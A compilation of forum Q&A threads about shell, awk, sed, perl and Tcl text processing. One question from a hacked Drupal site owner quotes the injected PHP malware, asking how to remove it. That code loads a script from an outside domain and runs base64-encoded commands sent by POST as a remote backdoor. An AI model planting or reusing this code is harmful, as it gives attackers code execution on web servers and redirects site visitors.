What would be the best solution to check (from the command line with a script), if a certain xml file contains this line:
<endpoint uri="endpoint.php" class="flex.messaging.endpoints.AMFEndpoint"/>
or this line
<!-- <endpoint uri="endpoint.php" class="flex.messaging.endpoints.AMFEndpoint"/> -->
and stop execution if the second one (commented out) is found?
Thx,
martin
Single line or across multiple lines? If the former, you can use grep.
Update: There seem to be some XML aware variants like xgrep, xmltwig and xmlstarlet.
assuming pattern occurs at single line
#!/bin/bash
awk '
/<endpoint uri=.*endpoint.php.*class.*flex.messaging.endpoints.AMFEndpoint/ && /<!--/{
exit
}
/<endpoint uri=.*endpoint.php.*class.*flex.messaging.endpoints.AMFEndpoint/{
# to execute external script inside awk, uncomment below
#cmd = "myscript.sh"
#system(cmd)
}
' file
OR you can return a code back to shell
#!/bin/bash
var=$(awk '
/<endpoint uri=.*endpoint.php.*class.*flex.messaging.endpoints.AMFEndpoint/ && /<!--/{
print 1
}
/<endpoint uri=.*endpoint.php.*class.*flex.messaging.endpoints.AMFEndpoint/{
print 0
}
' file)
[ "$var" -eq 1 ] && exit
[ "$var" -eq 0 ] && ./myscript.sh
Related
I am trying to call both a korn shell and a shell script at the same time. In a ksh. My ksh script is as follows:
#!/bin/sh
. /u01/EPM/hyp_app/scripts/maxl/Start_Stop/Stop_All.ksh
. /app/Oracle/Middleware/user_projects/epmsystem1/bin/stop.sh
This will successfully run the .sh, but will unsuccessfully run the .ksh, and return this error
/u01/EPM/hyp_app/scripts/maxl/Start_Stop/Stop_All.ksh: line 33: syntax error near unexpected token `;'
/u01/EPM/hyp_app/scripts/maxl/Start_Stop/Stop_All.ksh: line 33: `if [ $f1 != ' ' ]; then;'
But when running that Stop_All.ksh by itself, it works fine with no issues.
Why is it a syntax error when run from someplace else, but not a syntax error when run directly? Note the location of this bigger ksh is in the same location as the Stop_All.ksh. So it's not a relative directory issue (i don't think).
Edit:
Part of the problem is that the text files in the Stop_All.ksh are not being create when run as part of the greater script (but creates it no problem when I run it by itself).
#Clears database log
echo ' ' > /u01/EPM/hyp_app/logs/Start_Stop/DatabaseList.log
# run filter export process
$ESS_ENV_DIR/startMaxl.sh $SCRIPT_DIR/maxl/Start_Stop/SpoolDatabase.mxl
echo ' ' > /u01/EPM/hyp_app/export/Start_Stop/Application_List.txt
# Parses it out in do 8 for start and stop, and insert | pipe
sed -i -e 's/./&|/21' -i -e 's/./&|/30' -i -e 's/./&|/40' /u01/EPM/hyp_app/logs/Start_Stop/DatabaseList.log;
cat /u01/EPM/hyp_app/logs/Start_Stop/DatabaseList.log | grep 'TRUE' > /u01/EPM/hyp_app/export/Start_Stop/GrepApplication_List.txt
while IFS='|' read -r f1 f2 f3 f4 #f5
do echo $f1 $f2 >> /u01/EPM/hyp_app/export/Start_Stop/Application_List.txt
echo $f3 >> /u01/EPM/hyp_app/export/Start_Stop/Application_List.txt
# finishes do while and the points the input file that the IFS reads through (PUT DATABSE TXT FILE HERE)
done < /u01/EPM/hyp_app/export/Start_Stop/GrepApplication_List.txt;
while IFS=' ' read -r f1 f2 f3 f4 #f5
do
if [ $f1 != ' ' ]; then;
$ESS_ENV_DIR/startMaxl.sh $SCRIPT_DIR/maxl/Start_Stop/Master_Stop.mxl $f1 $f2
fi
When you test if [ $f1 != ' ' ]; you are expecting that f1 can be a space. Suppose f1 is filled with a space. The line if [ != ' ' ]; is an error.
I think that when you were running Stop_All.ksh by itself, f1 was filled with something else than a space.
Change your code into
if [ "$f1" != ' ' ];
or get used to the syntax with curly braces
if [ "${f1}" != ' ' ];
Thanks to user Nick Burns,
I had to change the top to #!/bin/ksh
I have markdown files that contain YAML frontmatter metadata, like this:
---
title: Something Somethingelse
author: Somebody Sometheson
---
But the YAML is of varying widths. Can I use a Posix command like sed to remove that frontmatter when it's at the beginning of a file? Something that just removes everything between --- and ---, inclusive, but also ignores the rest of the file, in case there are ---s elsewhere.
I understand your question to mean that you want to remove the first ----enclosed block if it starts at the first line. In that case,
sed '1 { /^---/ { :a N; /\n---/! ba; d} }' filename
This is:
1 { # in the first line
/^---/ { # if it starts with ---
:a # jump label for looping
N # fetch the next line, append to pattern space
/\n---/! ba; # if the result does not contain \n--- (that is, if the last
# fetched line does not begin with ---), go back to :a
d # then delete the whole thing.
}
}
# otherwise drop off the end here and do the default (print
# the line)
Depending on how you want to handle lines that begin with ---abc or so, you may have to change the patterns a little (perhaps add $ at the end to only match when the whole line is ---). I'm a bit unclear on your precise requirements there.
If you want to remove only the front matter, you could simply run:
sed '1{/^---$/!q;};1,/^---$/d' infile
If the first line doesn't match ---, sed will quit; else it will delete everything from the 1st line up to (and including) the next line matching --- (i.e. the entire front matter).
If you don't mind the "or something" being perl.
Simply print after two instances of "---" have been found:
perl -ne 'if ($i > 1) { print } else { /^---/ && $i++ }' yaml
or a bit shorter if you don't mind abusing ?: for flow control:
perl -ne '$i > 1 ? print : /^---/ && $i++' yaml
Be sure to include -i if you want to replace inline.
you use a bash file, create script.sh and make it executable using chmod +x script.sh and run it ./script.sh.
#!/bin/bash
#folder articles contains a lot of markdown files
files=./articles/*.md
for f in $files;
do
#filename
echo "${f##*/}"
#replace frontmatter title attribute to "title"
sed -i -r 's/^title: (.*)$/title: "\1"/' $f
#...
done
This AWK based solution works for files with and without FrontMatter, doing nothing in the later case.
#!/bin/sh
# Strips YAML FrontMattter from a file (usually Markdown).
# Exit immediately on each error and unset variable;
# see: https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_pipefail/
set -Ee
print_help() {
echo "Strips YAML FrontMattter from a file (usually Markdown)."
echo
echo "Usage:"
echo " `basename $0` -h"
echo " `basename $0` --help"
echo " `basename $0` -i <file-with-front-matter>"
echo " `basename $0` --in-place <file-with-front-matter>"
echo " `basename $0` <file-with-front-matter> <file-to-be-without-front-matter>"
}
replace=false
in_file="-"
out_file="/dev/stdout"
if [ -n "$1" ]
then
if [ "$1" = "-h" ] || [ "$1" = "--help" ]
then
print_help
exit 0
elif [ "$1" = "-i" ] || [ "$1" = "--in-place" ]
then
replace=true
in_file="$2"
out_file="$in_file"
else
in_file="$1"
if [ -n "$2" ]
then
out_file="$2"
fi
fi
fi
tmp_out_file="$out_file"
if $replace
then
tmp_out_file="${in_file}_tmp"
fi
awk -e '
BEGIN {
is_first_line=1;
in_fm=0;
}
/^---$/ {
if (is_first_line) {
in_fm=1;
}
}
{
if (! in_fm) {
print $0;
}
}
/^(---|...)$/ {
if (! is_first_line) {
in_fm=0;
}
is_first_line=0;
}
' "$in_file" >> "$tmp_out_file"
if $replace
then
mv "$tmp_out_file" "$out_file"
fi
I need a sample bash script to compare a first line of a file(Result.txt) to first row and column of another file(table.csv), then send the result to an html file.
I am very basic in coding, this is what I found so far:
#!/bin/sh
Result.txt="$(head -n 1 < $1|tail -n 1)"
table.csv="$(head -n 1 < $2|tail -n 1)"
test "$R.txt" = "$sheet.csv" && (echo The same; exit 0)
Appreciate your help
Slightly tweaking your script.
#!/bin/bash
Res=$(head -n 1 "$1")
tab=$(head -n 1 "$2")
[[ $Res == $tab ]] && echo The same
Notes
"dot" is not a valid identifier (i.e. variable name) character: valid is letters, numbers and underscore, and the first character cannot be a number.
if you're doing head -1, there's no need to pipe that into tail -1
I think [[ is more readable than test, primarily because [[ forces you to have ]]
parentheses launch a subshell which is overkill for an echo statement.
the exit will only exit the subshell not your program
if you have multiple statements, use if ...; then ...; fi -- it's more readable.
I need to search for a specific word in a file starting from specific line and return the line numbers only for the matched lines.
Let's say I want to search a file called myfile for the word my_word and then store the returned line numbers.
By using shell script the command :
sed -n '10,$ { /$my_word /= }' $myfile
works fine but how to write that command on tcl shell?
% exec sed -n '10,$ { /$my_word/= }' $file
extra characters after close-brace.
I want to add that the following command works fine on tcl shell but it starts from the beginning of the file
% exec sed -n "/$my_word/=" $file
447431
447445
448434
448696
448711
448759
450979
451006
451119
451209
451245
452936
454408
I have solved the problem as follows
set lineno 10
if { ! [catch {exec sed -n "/$new_token/=" $file} lineFound] && [string length $lineFound] > 0 } {
set lineNumbers [split $lineFound "\n"]
foreach num $lineNumbers {
if {[expr {$num >= $lineno}] } {
lappend col $num
}
}
}
Still can't find a single line that solve the problem
Any suggestions ??
I don't understand a thing: is the text you are looking for stored inside the variable called my_word or is the literal value my_word?
In your line
% exec sed -n '10,$ { /$my_word/= }' $file
I'd say it's the first case. So you have before it something like
% set my_word wordtosearch
% set file filetosearchin
Your mistake is to use the single quote character ' to enclose the sed expression. That character is an enclosing operator in sh, but has no meaning in Tcl.
You use it in sh to group many words in a single argument that is passed to sed, so you have to do the same, but using Tcl syntax:
% set my_word wordtosearch
% set file filetosearchin
% exec sed -n "10,$ { /$my_word/= }" $file
Here, you use the "..." to group.
You don't escape the $ in $my_word because you want $my_word to be substitued with the string wordtosearch.
I hope this helps.
After a few trial-and-error I came up with:
set output [exec sed -n "10,\$ \{ /$myword/= \}" $myfile]
# Do something with the output
puts $output
The key is to escape characters that are special to TCL, such as the dollar sign, curly braces.
Update
Per Donal Fellows, we do not need to escape the dollar sign:
set output [exec sed -n "10,$ \{ /$myword/= \}" $myfile]
I have tried the new revision and found it works. Thank you, Donal.
Update 2
I finally gained access to a Windows 7 machine, installed Cygwin (which includes sed and tclsh). I tried out the above script and it works just fine. I don't know what your problem is. Interestingly, the same script failed on my Mac OS X system with the following error:
sed: 1: "10,$ { /ipsum/= }": extra characters at the end of = command
while executing
"exec sed -n "10,$ \{ /$myword/= \}" $myfile"
invoked from within
"set output [exec sed -n "10,$ \{ /$myword/= \}" $myfile]"
(file "sed.tcl" line 6)
I guess there is a difference between Linux and BSD systems.
Update 3
I have tried the same script under Linux/Tcl 8.4 and it works. That might mean Tcl 8.4 has nothing to do with it. Here is something else that might help: Tcl comes with a package called fileutil, which is part of the tcllib. The fileutil package contains a useful tool for this case: fileutil::grep. Here is a sample on how to use it in your case:
package require fileutil
proc grep_demo {myword myfile} {
foreach line [fileutil::grep $myword $myfile] {
# Each line is in the format:
# filename:linenumber:text
set lineNumber [lindex [split $line :] 1]
if {$lineNumber >= 10} { puts $lineNumber}
}
}
puts [grep_demo $myword $myfile]
Here is how to do it with awk
awk 'NR>10 && $0~f {print NR}' f="$my_word" "$myfile"
This search for all line larger than line number 10 that contains word in variable $my_word in file name stored in variable myfile
I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...